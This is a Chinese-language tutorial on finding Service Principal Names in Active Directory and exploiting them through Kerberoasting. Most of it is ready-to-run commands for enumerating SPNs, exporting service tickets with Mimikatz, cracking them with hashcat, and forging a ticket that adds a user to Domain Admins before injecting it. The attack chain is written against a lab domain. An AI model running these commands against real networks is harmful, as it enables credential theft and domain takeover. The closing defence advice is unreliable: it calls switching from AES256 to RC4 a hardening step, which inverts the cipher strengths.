SPN注册发现与利用方法
字数 1399 2025-08-20 18:17:59
SPN注册发现与利用方法详解
基本概念
SPN(Service Principal Names,服务主体名称)是服务实例(如HTTP、SMB、MySQL、SQLServer等)的唯一标识符。Kerberos认证过程使用SPN将服务实例与服务登录账户相关联。
SPN关键特性
- 使用Kerberos协议认证服务时必须正确配置SPN
- 整个林或域中安装的每个服务实例都必须有自己的SPN
- 一个服务实例可以有多个SPN(如果客户端使用多个名称进行身份验证)
- 一个用户账户下可以有多个SPN,但一个SPN只能注册到一个账户
SPN分类
- 注册在域用户账户下:当服务权限为域用户时
- 注册在机器账户下:当服务权限为Local System或Network Service时
SPN语法结构
SPN由以下元素组成:
<service class>/<host>:<port>/<service name>
-
必须元素:
<service class>:服务名称标识(如WWW、MySQL、SMTP、MSSQL等)<host>:服务所在主机名(FQDN或NetBIOS名)
-
可选元素:
<port>:服务端口(默认端口可省略)<service name>:服务名称(可省略)
SPN注册方法
使用setspn工具注册SPN(需要root或域管理员权限):
setspn -S MySQL/win7-test.hacke.testlab:3306/MySQL Al1ex
查看用户SPN:
setspn -L Al1ex
删除SPN:
setspn -D MySQL/win7-test.hacke.testlab:3306/MySQL Al1ex
SPN发现技术
1. 使用setspn工具
-
查看所有SPN:
setspn -Q */* -
查看指定域的SPN:
setspn -T hacke.testlab -Q */* -
查找域内重复SPN:
setspn -X -
查找用户/主机名SPN:
setspn -L username/hostname
2. 使用Empire框架
usemodule situational_awareness/network/get_spn
3. 使用Impacket工具包
./GetUserSPNs.py -dc-ip 192.168.188.2 hacke.testlab/testuser
4. 使用PowerSploit框架
Import-Module .\PowerView.ps1
Get-NetUser -SPN
5. 使用PowerShellery脚本
Import-Module .\Get-SPN.ps1
Get-SPN -type service -search "*"
表格形式展示:
Get-SPN -type service -search "*" -List yes | Format-Table
获取UserSID、服务和实际用户:
Import-Module .\Get-DomainSpn.psm1
Get-DomainSpn
6. 使用kerberoast工具包
PowerShell脚本:
powershell_import /root/GetUserSPNs.ps1
VBS脚本:
cscript.exe .\GetUserSPNs.vbs
7. 使用PowerShell AD Recon
扫描特定服务:
# MSSQL服务
Import-Module .\Discover-PSMSSQLServers.ps1
Discover-PSMSSQLServers
# Exchange服务
Import-Module .\Discover-PSMSExchangeServers.ps1
Discover-PSMSExchangeServers
# 所有SPN信息
Import-Module .\Discover-PSInterestingServices.ps1
Discover-PSInterestingServices
8. 使用RiskySPN工具
Import-Module .\Find-PotentiallyCrackableAccounts.ps1
Find-PotentiallyCrackableAccounts -Domain "hacke.testlab"
SPN利用方法
Kerberos认证流程概述
- 用户发送AS-REQ数据包给KDC进行身份认证
- KDC验证凭据,返回TGT(票据授予票据)
- 用户发起TGS请求,包含TGT和所请求服务的SPN
- TGS创建服务票据,使用服务账户凭据加密
- 用户收到加密服务票据的TGS响应
- 服务票据转发给目标服务,使用服务账户凭据解密
攻击思路
- 查询SPN,找到有价值的SPN(注册在域用户账户下且权限高)
- 请求TGS
- 导出TGS
- 暴力破解
攻击步骤
常规实现方法
-
查询SPN:
setspn -T hacke.testlab -Q */* -
请求TGS:
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/win08-server.hacke.testlab" -
导出TGS(使用Mimikatz):
kerberos::list /export -
暴力破解:
python3 tgsrepcrack.py wordlist.txt 1-40810000-testuser@MSSQLSvc~win08-server.hacke.testlab-HACKE.TESTLAB.kirbi -
重写Ticket:
python3 kerberoast.py -p "1234Rewq!@#$" -r 1-40810000-testuser@MSSQLSvc~win08-server.hacke.testlab-HACKE.TESTLAB.kirbi -w sql.kirbi -u 500 -
添加用户到域管理员:
python3 kerberoast.py -p "1234Rewq!@#$" -r 1-40810000-testuser@MSSQLSvc~win08-server.hacke.testlab-HACKE.TESTLAB.kirbi -w sql.kirbi -g 512 -
使用Mimikatz注入:
kerberos::ptt sql.kirbi
使用Rubeus工具
Rubeus.exe kerberoast
使用hashcat破解:
hashcat -m 13100 /root/hash.txt /root/pass.txt --force
使用PowerShell方法1
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat > 1.txt
使用hashcat破解:
hashcat -m 13100 /root/hash.txt /root/pass.txt --force
使用PowerShell方法2(autokerberoast.ps1)
-
查看所有SPN信息:
List-UserSPNs -
查看与域管理员关联的SPN:
List-UserSPNs -GroupName "Domain Admins" -
查看指定域名的SPN:
List-UserSPNs -Domain "hacke.testlab" -
获取所有票证:
Invoke-AutoKerberoast -
从Ticket中提取hash:
python autoKirbi2hashcat.py hash.txt
使用Empire框架
usemodule credentials/invoke_kerberoast
set Agent [AgentName]
execute
防御措施
- 将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5,增加破解难度
- 确保服务密码本身为强密码
- 定期审计SPN配置
- 监控异常SPN查询行为
- 限制普通用户注册SPN的权限
通过以上措施可以有效防御SPN相关的攻击,特别是Kerberoasting攻击。